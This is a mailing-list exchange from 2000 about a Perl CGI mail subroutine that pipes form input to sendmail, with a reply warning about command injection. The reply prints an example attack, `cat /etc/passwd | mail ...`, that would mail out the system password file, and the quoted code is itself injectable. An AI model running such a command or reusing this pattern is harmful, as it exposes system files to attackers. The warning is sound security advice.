I could be a little bit off-base, but it might be a bad idea to
approach your problem this way. For instance, what if a person enters
somewhere in the form:
`cat /etc/passwd | mail -s "You dumb f***, you just got hacked"
[EMAIL PROTECTED]`
It is notoriously bad to /usr/lib/sendmail from a CGI script. Try
using the Net::SMTP module instead. It uses sockets, so you wouldn't
even have to worry about your local MTA.
/Wes
Wesley A. Wannemacher
[EMAIL PROTECTED]
Instructor, Network Administrator
University of Northwestern Ohio
http://www.unoh.edu
> -----Original Message-----
> From: Greg Kopp [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, November 12, 2000 12:56 AM
> To: [EMAIL PROTECTED]
> Subject: perl script acting funny
>
>
> I have qmail and vpopmail installed on RH 6.2. I have a
> perl subroutine that
> we use to send e-mail. Here is the code snipit:
>
> sub mailto
> { $mailprog = '/usr/lib/sendmail';
> open(MAIL,"|$mailprog -t");
> my @args = @_;
> print MAIL "To: $args[0]\n";
> print MAIL "Bcc: $args[4]\n";
> print MAIL "From: $args[1]\n";
> print MAIL "Subject: $args[2]\n";
> print MAIL "$args[3]\n";
> close MAIL;
> }
>
> BUT when a mail message gets bounced, the message comes
> back to the user
> that the web server is running as. Looking at the bounce, I
> see this:
>
> Hi. This is the qmail-send program at ideastar.com.
> I'm afraid I wasn't able to deliver your message to the
> following addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <[EMAIL PROTECTED]>:
> 128.11.69.53 failed after I sent the message.
> Remote host said: 554 delivery error: dd This user doesn't
> have a yahoo.com
> account ([EMAIL PROTECTED]) - mta129.mail.yahoo.com
>
> --- Below this line is a copy of the message.
>
> Return-Path: <[EMAIL PROTECTED]>
> Received: (qmail 509 invoked by uid 1001); 9 Nov 2000 20:20:12 -0000
> Date: 9 Nov 2000 20:20:12 -0000
> Message-ID: <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> From: [EMAIL PROTECTED]
> Subject: Thank you
>
>
> Any ideas what could be causing this and any possible solutions?
>
> Thanks,
>
> Greg
>